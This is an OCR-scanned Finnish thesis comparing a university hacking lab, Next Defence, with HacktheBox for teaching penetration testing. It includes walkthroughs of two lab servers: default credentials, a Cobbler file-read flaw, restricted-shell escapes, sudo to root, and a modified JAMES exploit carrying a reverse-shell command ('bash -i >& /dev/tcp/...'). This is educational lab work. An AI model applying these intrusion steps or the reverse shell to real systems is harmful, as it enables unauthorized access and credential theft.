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TIETOTURVATESTAUKSEN OPETUKSESSA

Opinnaytetydn tarkoituksena oli esittédéd vaihtoehto Turun amattikorkeakoulussa olevan tietoturva-
testausympariston Next Defence korvaamiseen, jota kaytetaan tietoturvatestauksen opetuk-
sessa. Opinnaytteen aikana tutustuttiin Internetissa oleviin tietototurvatestausymparistoihin, paa-
sdantoisesti HacktheBox-ympéaristoon.

HacktheBox-ymparistoon tutustuttiin kesalla 2019, jolloin ymparistdssa tehtiin tietoturva-testausta
erilaisiin haavoittuviin palvelimiin. Haavoittuvuuksista kirjoitetiin noin 200 sivuinen raportti, johon
sisallytettiin askeleet, miten palvelimet saatiin murrettua, seka lyhyt arvio palvelimien vaikeusas-
teesta. HacktheBox-raportin lisdksi tehtiin raportti Next Defence-ymparistésta johon sisallytettiin
vaiheet miten palvelimet saadaan murrettua, taman raportin pituus oli hoin 80 sivua.

Tutkimusosuuden jalkeen valittiin tietyt kriteerit, jotka olivat kaytto, yllapito, kehitettavyys seka
arviointi, joita kaytettiin arvioitaessa HacktheBox-ymparistéa Turun amattikorkeakouluissa olevan
Next Defence-ympadriston kanssa.

Teoriaosuuden jalkeen tehtiin molemmista ymparistoista esimerkkipalvelimet malliksi, jonka jal-
keen esimerkkipalvelimia verrattiin tydomaaraltadn seka vaikeusasteeltaan keskenaan.

Johtopaatoksissa verrattiin keskenaan palvelimien vaikeusasteita, seka molempien ymparistdjen
vahvuuksia ja heikkouksia.
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USING AN ONLINE-PLATFROM TO TEACH
PENETRATION TESTING.

The purpose of this thesis was to introduce an alternative solution to replace the pene-
tration testing environment, Next Defence, in Turku University of Applied Sciences. The
research portion of the thesis was dedicated to becoming familiar with different online
platforms dedicated for penetration testing, mainly HacktheBox.

Summer of 2019 was spent on becoming familiar with the HacktheBox-environment by
performing penetration testing against the various vulnerable servers on the platform and
creating a detailed report that was approximately 200 pages on how to exploit the servers
and a short description on the difficulty of each of the servers. A similar report was also
compiled of the Next Defence-environment, the report included steps on how to exploit
the servers and it totaled approximately 80 pages.

After the research portion of the thesis, the criteria of usability, maintenance, develop-
ment and evaluation was used to compare HacktheBox-environment against the Turku
University of Applied Sciences Next Defence-environment. After the comparison exam-
ple servers were done from both the HacktheBox and Next Defence-environments from
which comparison and conclusions could be made regarding the difficulties of the exam-
ple servers and both strengths and weaknesses of both of the platforms.

KEYWORDS:

cybersecurity, hacking, penetration testing
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KAYTETTY SANASTO

CTF Capture the Flag termilla tarkoitetaan yleisesti tapahtumaa,
johon osallisttu ryhmia tai yksiloita, jotka yrittavat esimerkiksi
murtaa jonkin palvelimen, joka on kyseiseen tapahtumaan
luotu (Brown, 2018).

EDB Exploit Database on julkinen tietokanta, josta I6ytyy erilaisia
komentosarjoja ja ohjeita haavoittuvuuksien testaukseen
(Exploit-db, n.d).

VPN Virtuaalinen erillisverkko (Virtual Private Network), joka
mahdollistaa turvallisen kommunikaation laitteiden valill& in-
ternetissa (Cisco, n.d.).



1 JOHDANTO

Organisaatioiden olemassaolo seka kilpailu kasvaa yha enemman internetissa, nain ol-
len organisaatiot eivat valttamatta panosta tarpeeksi tietoturvaan. TAma voi johtaa tieto-
murtoihin, joissa uhreina ovat organisaatioiden lisaksi myds yksityishenkilot. Esimerk-
kind Equifax, joka on yksi suurimmista luottoa myyvista yrityksista USA:ssa (Puig, 2019),

jonka tietokannoista varastettiin yksityishenkildiden tietoja.

Jotta tietomurtoja vastaan voidaan suojautua, tarvitaan ihmisid, jotka ymmartavat milla
tavoin tietomurtoja tekevat tahot toimivat. Siksi on tarkedd opettaa milla tavalla tieto-
murtoja voidaan tehda hallitussa ja kontrolloidussa ymparistdsséd, mista ei koidu haittaa

muille.

Taman tyon tarkoituksena on tutkia mahdollisuutta korvata Turun ammattikor-
keakoulussa oleva tietoturvatestauksen opetusymparisté Next Defence online-

ymparistolla.

Opinnaytetyota lahdettiin tydostamaan kesalla 2019 tutkimustyond, jonka aikana tu-
tustutiin HacktheBox-ymparistoon ja siella oleviin haavoittuviin palvelimiin. Tutkimus-
tyonn aikana HacktheBox-ymparistdsta laadittiin noin 200 sivuinen dokumentaatio, joka
sisélsi palvelimet joihin oli paasty sisélle, ohjeet palvelimien murtamiseen seka lyhyt ar-
vio vaikeusasteesta. Samanlainen dokumentaatio tehtiin my6s Turun ammattikor-

keakoulun Next Defence-ymparistdsta, jonka laajuudeksi tuli noin 80 sivua.

Opinnaytetydn teoriaosuudessa esitellaan ensin muutamia online-ymparistoja, jonka ja-
Ikeen vertaillaan Turun ammattikorkeakoulussa olevaa Next Defence ymparistba seka

Online-ympaéristd HacktheBoxia.

Vertailun kriteereind kaytetaan ympariston kayton helppoutta, yllapitoa, kehitettavyytta
seka arviointia. Tyon kaytanndn osuudessa tehdaan malliksi yksi kone Next Defence-
ymparistosta seka HacktheBox-ympariststa ja vertaillaan naiden koneiden tydamaaraa

sekéa vaikeusastetta keskenaan.



2 ALUSTAT

Turun ammattikorkeakoulussa oleva Next Defence-ymparistd on suunniteltu tietoturva-
testauksen opetukseen. Ymparistd on ollut kaytéssa vuodesta 2014, eika sitd ole paivi-
tetty vastaamaan nykyajan tarpeita. Ympariston nykyiset ohjelmistot ovat joko erittain
vanhoja versioita taikka niiden kehitys on lopetettu sekda Windows-palvelimet puuttuvat
kokonaan. Taman takia on aloitettu tutkimaan vaihtoehtoisia ymparist6ja opetuksen jat-

kamiseen, jota olisi helpompi yllapitaa ja se olisi nykyaikaisempi.

Vaihtoehtoja téllaiseen ymparistoon on internetissd monia, kuten HacktheBox, VulnHub,
Virtual Hacking Labs sek&a monia muita. Naistd ymparistdistd VulnHub on ilmainen
sivusto, mista kayttaja voi etsia ja ladata omalle koneelleen muiden kayttajien tekemia

virtuaalikoneita, jotka ovat tarkoituksella tehty haavoittuviksi.

Virtual Hacking Labs on maksullinen sivusto, johon kayttaja rekisterdityy kuukausimak-
sulla. VPN-avaimet ladataan omalle koneelle, joilla VHL:n yhdistetddn omille palve-

limille, joita voi testata muiden palveluun rekistertityneiden kayttajien kanssa.

HacktheBox on paasaantoisesti ilmainen sivusto, jolle rekisterdidytdén, mutta halutes-
saan kayttaja voi maksaa kuukausimaksun jolla saadaan uusia ominaisuuksia otettua
kayttoon. Rekisterditymisen jalkeen kayttaja voi ladata VPN-avaimet omalle koneelleen,
joilla HacktheBoxin yhdistetaan omille palvelimille, joita voi testata muiden palveluun

rekisterodityneiden kayttajien kanssa.

2.1 Next Defence

Kaytto

Opetus ymparistdssa tapahtuu luokkatilassa, jossa oppilailla on koulun tarjoamat koneet
ja niihin asennetut virtuaalikoneet, joiden avulla saadaan VPN-yhteys Next Defence-ym-
paristbon. Virtuaalikone tarvitsee kaynnistyessaan kayttajatunnukset, jotka oppilas saa

opettajaltaan.

Kayttoa vaikeuttaa VPN-yhteys, joka katkaisee virtuaalikoneesta yhteyden internetiin ja

sallii likenteen ainoastaan Next Defence-ymparistoon. TAma on erityisen ty6laista silloin,



kun oppilas haluaa ladata internetista I6ytyneen ohjelman taikka komentosarjan, jota ha-
lutaan testata palvelinta vastaan.

Oppilaan taytyy joko sammuttaa VPN-yhteys, ladata internetista |0ytynyt ohjelma ja
kaynnistaa virtuaalikone uudelleen taikka luoda jaettu kansio virtuaalikoneen seka itse
tietokoneen vélille, jolloin tiedostoja voidaan siirtdd vapaasti virtuaalikoneelle.

Yllapito

Next Defence-ympariston yll&pidon hoitaa opettaja tai opiskelija-assistentti. Yll&pitoon
kuuluu paasaantoisesti palvelinten palauttaminen takaisin oletus asetuksiin niissa ta-
pauksissa missa palvelin kaatuu testauksen aikana, palvelinten kaynnistdminen seka

palvelinten mahdollinen paivittdminen.

Yllapidon isoin ongelma on palvelinten palauttamisessa, mikali opettaja tai opiskelija-
assistentti ei ole tavoitettavissa joutuu oppilas odottamaan siihen asti kunnes palvelin

on palautettu takasin oletus asetuksiin.
Kehitettavyys

Next Defence-ympariston kehitettdvyys on hankalaa silla se vaatii opettajalta resursseja

kehittaa ja testata uutta palvelinta, ennen sen siséllyttamista ymparistoon.
Arviointi

Arvioinnin kriteerind on murrettujen palvelinten maara, jotka dokumentoidaan miten op-

pilas on onnistunut murtamaan palvelimet.

2.2 HacktheBox

Kaytto

Oppilaan taytyy ensin rekisterditya HacktheBox-sivustolle, jonka jalkeen Access-vilileh-
delta 16ytyy VPN-avaimet joilla hén voi yhdistaé virtuaalikoneella HacktheBox-ympaéris-
ton palvelimelle. VPN-tunneli ei katkaise yhteytta internetiin, jolloin oppilas pystyy va-
paasti etsimaan tietoa seka erilaisia ohjelmia virtuaalikoneestaan ilman, etta joutuisi

kayttamaan itse tietokonetta (Kuva 1.).



| 2 EU Lab Free Access

| B EU VIP Lab Access

Kuva 1. HacktheBox VPN avaimet.

Yhteyden muodostamisen jalkeen oppilas voi Machines-vélilehdelta valita palvelimen,
jota halutaan testata. Listalta l16ytyvat kaikki palvelimet, jotka ovat aktiiviisia, niiden nimi,
vaikeusaste, kayttgjien arvio palvelimesta, kuinka moni on saanut palvelimen murrettua
joko paakayttajaksi tai kayttajaksi asti, palvelimen julkaisupéiva seka painikkeet, joilla
palvelimen voi palauttaa oletusasetuksiin ja antaa todiste-tiedoston, etta palvelimeen on

paasty sisaan, joko kayttajana tai paakayttajana (Kuva 2.).

*
*
*
*
*
*
*
*
*

Kuva 2. Ote HacktheBox palvelinten hallintapaneelista.

Yllapito

HacktheBox-ympariston yllapidon hoitaa HacktheBbox itse. Oppilaalla on mahdollisuus

palauttaa valitsemansa kone oletusasetuksiin.
Kehitettavyys

Keihttdmiseen ei voida vaikuttaa. Ainoastaan Unreleased-valihdelta nahdaan, mika pal-

velin tulee korvaamaan jonkin aktiivisen palvelimen. Aktiivinen palvelin korvataan aina



kerran viikossa uudella palvelimella ja vanha palvelin siirtyy elakdityneiden palveliminten
joukkoon.

Arviointi

Oppilaan arviointi voitaisiin toteuttaa samalla tavalla kuin Next Defence-ymparistossa.
Oppilas voi itse seurata etenemistaan omalta profiili-sivultaan, josta voi katsoa montako
palvelinta tai erilaista haastetta on tehnyt (Kuva 3.).

[ ] challenges

Kuva 3. Kayttajan edistyminen HacktheBox-sivustolla.



3 TESTAUS

Tietoturvatestauksen eri vaiheet ovat suunnittelu- ja tiedustelu, skannaus, paasyn saa-
minen, p&&syn pysyvyys ja analysointi (Imperva, n.d.). Opinndytteen kaytannon osuu-
dessa keskitytd&n vain pdasaantoisesti skannaukseen sekad paasyn saamiseen (Kuva
4)).

Suunnittelu — ja tiedustelu

Ensimmaisessé vaiheessa maéaritelldadan yhdessa organisaation kanssa tietoturva tes-
tauksen laajuus, paamaarat, testattavat palvelimet seka metotologiat. Tassa vaiheessa

voidaa myos suorittaa alustavaa tiedon keruuta testattavista palvelimista.
Skannaus

Toisessa vaiheessa suoritetaan testattavien palvelimien analysointia joko manuaalisesti

taikka erilaisten skannerien kuten Nmap-verkkoskannerin avulla.
Paasyn saaminen

Kolmannessa vaiheessa suoritetaan erilaisia hyokkayksia skannaus-vaiheessa ilmenne-

din haavoittuvuuksien hyodyntamiseksi, jotta saatasiin paasy palvelimelle.
P&asyn pysyvyys

Neljannen vaiheen tarkoitus on saavuttaa pysyva paasy haavoittuneeseen palvimeen
siten ettd luvatonta paasya ei huomattaisi heti taikka ollenkaan jolloin hytkkaa voi rau-
hassa kerata organisaation siséista dataa ja tehdé datalla mitd haluaa kuten myyda sita

eteenpéin taikka kiristaa organisaatiota.
Analysointi

Viidennesséa vaiheessa tehdédén dokumentaatio tietoturva testauksen l6ydoksista, joka-
kdydaan organisaation kanssa lapi. Dokumentoinnista ilmenee haavoittuvuudet joita
kaytettiin padsyn saamiseksi, mahdollinen data jota saatiin kerattya seka suositusket mi-

ten organisaation tulisi menetella haavoittuvuuksien kanssa.



Analysis and WAF configuration @ @ Planning and reconnaissance
Results are used to configure WAF Test goals are defined and intelligence
settings before testing is run again. is gathered.
PENETRATION
Maintaining access TESTING STAGES Scanning
APTs are imi to see if a vull bility @ @ Scanning tools are used to understand
can be used to maintain access. how a target responds to intrusions.

Gaining access
Web application attacks are staged to
uncover a target's vulnerabilities.

Kuva 4. Tietototurvatestauksen vaiheet (Imperva, n.d.).

Molemmissa Next Defence ja HacktheBox ymparistdissd on monia erilaisia palvelimia,
tdssa opinnaytteessa kuvataan esimerkkina vain yksi palvelin ja sen ratkaisu molem-
mista ymparistdista. Internetissa on saatavilla lista HacktheBox palvelimista joita suosi-

tellaan tehtavéksi, jos ei CTF-painoitteisia palvelimia haluta testate (Taulukko 1.).

Taulukko 1. HacktheBox virtuaalikoneet (TJnull, 2019).

IIJnux Boxes:
Lame
brainfuck
shocker
bashed
nibbles
beep
Cronos
nineveh
sense
solidstate
kotarak
node
valentine
poison
sunday
tartarsauce



Listasta tehtiin tutkimustyona kaikki Linux-palvelimet seka Windows-palvelimet, punais-
essa sarakkeessa oleviin plavelimiin ei koskettu. Palvelimista tehtiin dokumentaaatio (n.
200 sivua) johon kirjoitettiin vaiheet miten palvelin saadaan murrettua, seka lyhyt kuvaus
palvelimen vaikeusasteesta. Taman lisaksi Next Defence-ymparistdsta tehtiin saman-

lainen dokumentaatio josta ilmenee vaiheet palvelimine murtamiseksi (n. 80 sivua).

Ty6hon valittiin HacktheBox-ymparistdsta solidstate Linux-palvelin, silla se vastaa Next

Defence-ymparistdssa olevia advanced-palvelimia.

3.1 Next Defence-esimerkkipalvelin

Nmap (Network Mapper) skanneria voidaan hyddyntaa, kun halutaan etsia palvelimelta
avoimia portteja sekéa tunnistaa mahdollisia ohjelmistoja tai palveluja, joita avoimissa
porteissa on (Nmap, n.d.). Nmap-skannauksesta ndhdaan, etté palvelimessa kuuntele-
vat portit 22 (ssh), 80 (http) seké 443 (https). Naista porteista keskitytdan ensiksi 80 ja
443 portteihin silla ssh on paasaantdisesti hyvin suojattu eika sitd kannata ensim-

maiseksi yrittdd murtaa (Kuva 5.).

# Nmap 7.40 scan initiated Thu Aug 15 23:45:23 2019 as: nmap -sC -sV -Pn -n -oA nmap/initial 192.168.102.14
Nmap scan report for 192.168.102.14
Host is up (0.015s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 77:dc:e8:b7:19:89:b8:7a:fd:8d:25:76:6a:ef:ec:3b (DSA)
| 2048 d8:c9:78:07:6d:42:1c:bd:12:cc:33:07:cf:36:d3:d6 (RSA)
80/tcp open http Apache httpd 2.2.15
| _http-server-header: Apache/2.2.15 (Cent0S)
|_http-title: Did not follow redirect to https://192.168.102.14/cobbler web
443/tcp open ssl/http Apache httpd 2.2.15
| _http-server-header: Apache/2.2.15 (Cent0S)
| http-title: Cobbler Web Interface
Requested resource was https://192.168.102.14/cobbler web

| o

| ssl-cert: Subject: commonName=md5.labs.nextdefence.com/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2014-05-08T16:30:05

| _Not valid after: 2015-05-08T16:30:05

| _ssl-date: 2019-08-15T17:45:03+00:00; -3h00m40s from scanner time.

Service Info: Host: md5.labs.nextdefence.com

Host script results:
| _clock-skew: mean: -3h00m40s, deviation: Os, median: -3h00m40s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 15 23:45:43 2019 -- 1 IP address (1 host up) scanned in 19.99 seconds

Kuva 5. Nmap-skannaus Next Defence-esimerkkipalvelimesta.

Selaimen osoite-riviin kirjoitetaan palvelimen IP-osoite, jolla avautuu seuraavanlainen
nakyma. Cobbler on palvelu, jolla voidaan hallita erliaisia virtuaalikoneita. Ensimmaiseksi
voidaan kokeilla heikkoja salasana- ja kayttajaimiyhdistelmia, sisdan palveluun paastaan

yhdistelmalla cobbler/passwordl (Kuva 6.).



Cobbler Web Interface - Mozilla Firefox

|/ (_ Cobbler Web Interface x| %
< a 192.168.102.14, Search wla ¥ A& =
{5 Most Visited v JllOffensive Security S, Kali Linux % Kali Docs ‘% Kali Tools EMExploit-DB W Aircrack-ng

\ L. W W N

Username:

Password:

Sorry, either you need 1o login or
your session expired.

Kuva 6. Cobbler-palvelun kirjautumisikkuna.

Palveluun sisdan paastyd nahdaan palvelun versionumero, joka on 2.4.0. Tata tietoa

hyvaksi kayttaen voidaan etsid EDB:sta haavoittuvuuksia, jotka liittyvat kyseiseen versi-

oon (Kuva 7.).

Cobbler Web Interface - Mozilla Firefox [— - )
/ _ Cobbler Web Interface = | #
€ ) o a 192.168.102.14 (= Searc W B 4+ @ =
[ Most Visited v Bl Offensive Security “s Kali Linux “ Kali Docs ‘& Kali Tools EBExploit-DB W Aircrack-ng
Logged in: cobbler
A AN

Welcome to Cobbler 2.4.0.

Configuration
Currently logged in as cobbler.

Distros
Profiles

Systems

Repos

Images

Kickstart Templates
Snippets
Management Classes
Settings

Resources
Packages
Files

Actions
Import DVD
syne &
Reposync
Hardlink
Build ISO &

Cobbler
Check
Events
Online Documentation
Online Help Chat

Cobbler 2.4.0

Kuva 7. Cobbler-palvelun hallintapaneeli.

EDB:sta l6ytyy haavoittuus juuri kyseiseen versioon (Farhi, 2014). Haavoittuvuudella voi-

daan lukea erilaisia konfiguraatio-tiedostoja palvelimelta kuten /etc/passwd-tiedosto,

joka sisaltda kaikki kayttajat palvelimella (Kuva 8.).
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Cobbler Web Interface - Mozilla Firefox [—IC I~}

/ (_ Cobbler Web Interface x | 4

€) @ @ | https://192.168.102.14/cobbler_web/profile/edit/test @ |[Q search *Ba 9 3 & =
f Most Visited v [l Offensive Security " Kali Linux , Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

Logged in: cobbler

W W N
Sanintiatian Editing a Profile: test

Distros

Systems

Repos

nggs General g (Global) g

Kickstart Templates

ETrEE test (editing, value is read-onl

Management Classes Name (editing, v)

Settings Owners [admm l
Resources Distribution | generic-2.6 v|

Eiiﬁ;skages Parent Profile | v
Actions Enable PXE Menu? &

Import DVD Kickstart [/etcipasswd ]

sync :

Rmems Kernel Options [ ]

Hardlink 2 Kernel Options (Post Install) l ]

Build ISO & )

Kickstart Metadata [ l
Cobbler P [ |
ToxXy
Check
Events Repos Available: Selected:

Online Documentation

Online Help Chat <<None>>

aly
II

Kuva 8. Haavoittuvuuden testaus.
Haavoittovuutta hyvaksi kayttaen voidaan lukea tiedostoja kuten /etc/passwd. Nahdaan,
ettd palvelimella on viisi kayttajaa bob, jane, frank, joe ja julie (Kuva 9.).

Mozilla Firefox
https://192.1.../profileftest x | 4

% | @ @& | https://192.168.102 14/cblr/svc/op/ks/profile/test E

= Most Visited v JllOffensive Security ", Kali Linux “w Kali Docs " Kali Tools EBExploit-DB Y Aircrack-ng

root:x:@:0@:root:/root:/binsbash
bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin: /sbins/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin
lp:x:4:7:1lp:/var/spool/lpd: /sbin/nologin
sync:x:5:08:sync:/sbin: /bin/sync
shutdown:x:6:0:shutdown: /sbin: /sbin/shutdown
halt:x:7:@:halt:/sbin:/sbinshalt
mail:x:8:12:mail:/var/spool/mail: /sbin/nologin

uucp:x:10: 14 uucp: /wvar/spoolsuucp: /sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: fusr/games: /sbin/nologin
gopher:x:13:30:gopher: /var/gopher: /sbin/nologin
ftp:x:14:508:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody: /: /sbin/nologin

wesa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48: Apache: fvar/fww: /sbin/nologin

mysql:x:27:27 :MySQL Server:/var/lib/mysql:/bin/bash
bob:x:508:500: : fhome/bob: fusr/bin/1lshell
jane:x:5681:501: : /home/jane: /bin/sbash

frank:x:502:502:: /home/frank: /bin/bash

joe:x:5083:503:: /homesjoe: fbinsbash
julie:x:5084:504: : /home/julie: /bin/bash
team3:x:505:505: : /home/team3: /binsbash

Kuva 9. Haavoittuvuuden hyddyntadminen.

Paastddn bob-kayttajdn  kotihakemistoon kirjoittamalla selaimen  osoiteriviin
192.168.102.14/~bob. Hanen kotihakemistossaan on konfiguraatio-tiedostoja, joista l0y-

tyy salasana bananarama7!!! (Kuva 10.).



Mozilla Firefox
https://192...p-config.php x | &
€ a 192.168.102.14 EJ
[E5 Most Visited v Jll Offensive Security ", Kali Linux “e Kali Docs ‘W& Kali Tools EBExploit-DB W Aircrack-ng

<7php
JEE

%

The base configurations of the WordPress.

This file has the following configurations: MySOL settings, Table Prefix,
Secret Keys, WordPress Language, and ABSPATH. You can find more information
by visiting {@link http://codex.wordpress.org/Editing wp-config.php Editing
wp-config.php} Codex page. You can get the MySQL settings from your web host.

This file is used by the wp-config.php creation script during the
installation. You don't have to use the web site, you can just copy this file
to "wp-config.php" and fill in the walues.

¥ X E K OE ® ¥ ¥ E ¥ ¥ ¥

@package WordPress
/

J/ ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'bob');

/** MySQL database username */
define('DB USER', 'bob');

J** MySOL database password */
define('DB_PASSWORD', 'bananarama7!!!'};

Kuva 10. Salasana konfiguraatio-tiedostossa.

11

Voidaan kayttaa kyseista salasanaa ja kirjautua SSH-yhteyden avulla palvelimeen bob-

kayttajana. Palvelimella likkuminen on rajoitettu limited shell-komentotulkilla, jossa sal-

litaan vain tietyt komennot (Kuva 11.).

:~/cobbler# ssh bob@192.168.102.14
bob@192.168.102.14's password:
Last login: Thu Aug 15 14:45:48 2019 from 192.168.100.4
You are in a limited shell.
ype '?' or 'help' to get the list of allowed commands
bob:~$ help

cd clear echo exit help history 11 1path 1s T1sudo
bob:~$

Kuva 11. SSH-yhteys bob-kayttajana.

Hyddyntéen echo-komentoa paastaan vapaaksi limited shell-komentotulkista ja palve-

limella pystytaan likkumaan vapaasti (Kuva 12.).

bob:~$% cd /etc
*** forbidden path -> "/etc/™"
*** You have 1 warning(s) left, before getting kicked out.
This incident has been reported.
echo os.system("/bin/bash")

.1%$ cd /etc
.1% pwd

-1%

Kuva 12. Poistuminen limited shell-komentotulkista.
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Seuraavaksi voidaan tarkistaa mita bob-kayttaja voi tehda sudo-komennolla huomataan,
etta bob voi ajaa palvelimella mitéa tahansa komentoja root-kayttajana eli paakayttajana.
Root-kayttajaksi vaihdetaan komenolla sudo su ja annetaan bob-kayttdjan salasana ja
saadan paakayttajan oikeudet palvelimelle (Kuva 13.).

bash-4.1$ sudo -1

[sudo] password for bob:

Matching Defaults entries for bob on this host:
requiretty, !visiblepw, always set home, env reset, env keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS COLORS", env_keep+="MAIL
PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES"
env_keep+="LC_MONETARY LC_NAME LC_ NUMERIC LC | PAPER LC _TELEPHONE™, env_keep+="LC TIME LC ALL LANGUAGE LINGUAS XKB CHARSET XAUTHORITY"

secure_path=, /sbin\:/bin\:/usr/sbin\:/usr/bin

User bob may run the following commands on this host:
(ALL) ALL
bash-4.1$ sudo su
[root@md5 etc]# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) context=unconfined u:unconfined r:unconfined t:s0-s0:c0.c1023
[root@md5 etc]#

Kuva 13. Root-kayttgja.

3.2 HacktheBox-esimerkkipalvelin

Nmap-skannauksesta nahdaan, ettad palvelimessa kuuntelevat portit 22 (ssh), 80 (http)
seka nelja porttia 25, 110, 119 ja 4555 joita kayttaa JAMES sahkoposti-palvelin (Kuva
14.).

2# nmap -p- -sC -sV -T4 -oA nmap/allports 10.10.10.51
t 2019-85-21 07:085 EDT

s up (0.054s late
65529 clo

0 nmap.scan yrg (10.10.14.5 [10.10.14.5]),
he httpd 2.4.25 ((Debian))
: 25 (Debian)
z - Solid %tat Security
l11e/tcp o pnpa JAMES pop3d
119/tcp nntp JAMES
4555/tcp open jam min JAME emo in 2.
Sservice Info: Host olidstate; 0“- inux; CPE: cpe:/o:linux:linux_kernel

t results at https://nmap.org/submit/ .

Kuva 14. Nmap-skannaus HacktheBox-esimerkkipalvelimesta.

Palvelimella kdynnissa olevista palveluista ensiksi lahdetaan tutkimaan JAMES-appli-
kaatiota silla kyseinen versio 2.3.2 vaikuttaa vanhalta versiolta. JAMES-aplikaatiolla on

etdhallintapalvelu, joka on oletuksena portissa 4555. Applikaation dokumentoinnissa
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kerrotaan, etté oletustunnukset kirjautuessa on root/root. Netcat-ohjelmalla voidaan yh-
distda applikaation etéahallintapalveluun, palvelu pyytaéa kayttajatunnuksia, tadssa kohtaa
kokeillaan oletustunnuksia root/root ja padstdan sisaan. Etdpalvelussa voidaan listata
kayttajat, lisatad uusia kayttajia, vaihtaa kayttajien salasanoja ynna muuta. Mindy-kaytta-
jan salasana vaihdetaan komennolla password mindy ja annetaan uusi salasana, tassa
tapauksessa password (Kuva 15.).

:~/Documents/HBT /boxe Solidstate# nc 10.10.10.51 4555
AMES Remote Administration To 232
Please enter your login and password

root. HELP for a list of commands

urrently implemented commands:
elp display this help
istusers display existing accounts
ountusers display the number of existing accounts
[username] [password] add a new user
erify [username] verify if specified user exist
eluser [username] delete existing user
lsetpassword [username] [password] sets a user's password
lsetalias [user] [alias] locally forwards all email for ‘'user' to ‘'alias’
lshowalias [username] shows a user's current email alias
insetalias [user] unsets an alias for ‘'user’
lsetforwarding [username] [emailaddress] forwards a user's email to another email address
lshowforwarding [username] shows a user's current email forwarding
nsetforwarding [username] removes a forward
iser [repositoryname] change to another user repository
lshutdown kills the current JVM (convenient when James is run as a daemon)
close connection
istusers
xisting accounts 5
james
thomas
john
mindy
mailadmin
setpassword mindy password
Password for mindy reset
quit

Kuva 15. JAMES-palvelun etahallinta.

Mindy-kayttajan salasanan muutoksen jalkeen voidaan telnet-ohjelmalla kirjautua sah-
kopostipalveluun ja lukea kayttajan sahkodpostit. Toisesta viestista [6ytyy kayttajan SSH-

palvelun kirjautumistunnukset (Kuva 16.).

State# telnet 10.10.10.51 110

cter .
ate POP3 server (JAMES POP3 Server 2.
mindy

password
OK Welcome mindy

1945

mailadmin@localhost>
744123.2.1503422270399.JavaMail.root@solidstate=

charset=us-ascii
r-En 7bit
belivered- mindy@localhost
Received: - . ([192.168.11.142])
TP Server 2.3.2) with SMTP ID 581

mindy@localh
Aug 2017 28 -0400 (EDT)
-0400 (EDT)

credentials to acc the system. Remember to set your password after your first login
restricted at the moment, feel free to ask your supervisor to add any commands you need to your

ame: mindy
P@55WOrdl 2@

ctfully,
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Kuva 16. Kayttdjan SSH-tunnukset.

Tunnuksilla voidaan kirjautua SSH-yhteydelld palvelimeen ja samalla voidaan lukea
user.txt tiedosto (Kuva 17.).

‘Documen 'HBT /boxe solidState# ssh mindy@19.10.10.51
authenticity of | t '10.10.10.51 (10.19.10.51)' can't be established.
y fingerprint is SHA256:njOxYC21MIdcSTcgKOpTfTedDAXx50SYVGPCTChsGwI®.
e continue connecting (yes/no)? yes
'10.10.10.51' (ECDSA) to the 1list of known hosts.

pae #1 SMP Debian 4.9.380-2+deb9u3 (2017-08-06) i6

ded with the Debian GMU/Linu> n fr
€ terms T ach program are ribed in the
individual files in Jusr/share/doc/*/copyright.

Debian GNU/LIinux cCome with ABSOLUTELY MO WARRANTY, tTo the
mitted by applicable law.

Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142

mindy@solidstate:~% 1ls -1la

mindy mindy 4096 Sep
4896 Aug o
Aug 2: .bash_history
Aug 2: .bash_logout
338 Aug 2: .bash_profile
roo oot 1001 Aug 2: .bashrc
mindy mindy 4096 Aug 2:
i 3 Aug
Aug
roo
mindy mindy
solidstate:~% cat use
914d@ad4ebcl77889b5b8
mindy@solidstate:~$ l

HMNEENEFEEBEERGLRLR

Kuva 17. User.txt.

Palvelimella liikkuminen on estetty rbash eli restricted bash-komentotulkin avulla, jolla

voidaan estaa kayttajaa kayttamasta tiettyja komentoja kuten cd (Kuva 18.).

mindy@solidstate: -% od
-rbash: od: restricte
mindy@solidstate:
-rbash: od:
mindy@solidstate:

Kuva 18. Rbash-komentotulkki.

Rbash-komentotulkin olemassaolo voidaan varmistaa /etc/passwd-tiedostosta (Kuva
19.).

mindy:x:1081: 1081:mindy: homes/mindy:  bin/rbash

mindy@dsolidstate:~-%

Kuva 19. Ote /etc/passwd-tiedostosta.



15

Rbash-komentotulkki on mahdollista ohittaa kayttéen erilaisia keinoja kuten kirjoittamalla
komentoriville komento ’bash’, jolloin olisi mahdollista kayttdd bash-komentotulkkia
rbash-tulkin sijasta, mutta tdssa tapauksessa se ei ole mahdollista. Jotta rbash-komen-
totulkista voitaisiin paeta, EDB:sta etsimalla I6ytyy haavoittuvuus, jota voidaan mahdol-
lisesti hyddyntaéd (Palaczynski, J ym, 2014.). Jotta haavoittuvuus toimisi taytyy komen-
tosarjaa muokata vaihtamalla payload-osaan seuraava komento ‘bash —i >&
/dev/tcp/10.10.14.5/4444 0>&1’, joka mahdollistaa etdyhteyden oton hyokkaavaan

koneeseen (Kuva 20.).

ommand Execution

1.d , /etc/pm/config.d

t socket
sys
time

Kuva 20. Payload-muokkaus.

Komentosarja suoritetaan python ohjelmalla komennolla python 35513.py, joka on ko-
mentokehotteen nimi sekd Palvelimen IP-osoite, joka tasséa tapauksessa on 10.10.10.51
(Kuva 21.).

ylidState# python 35513.py 10.10.10.51
[+]Connecti e nistration Tool...
[+]C ting user..
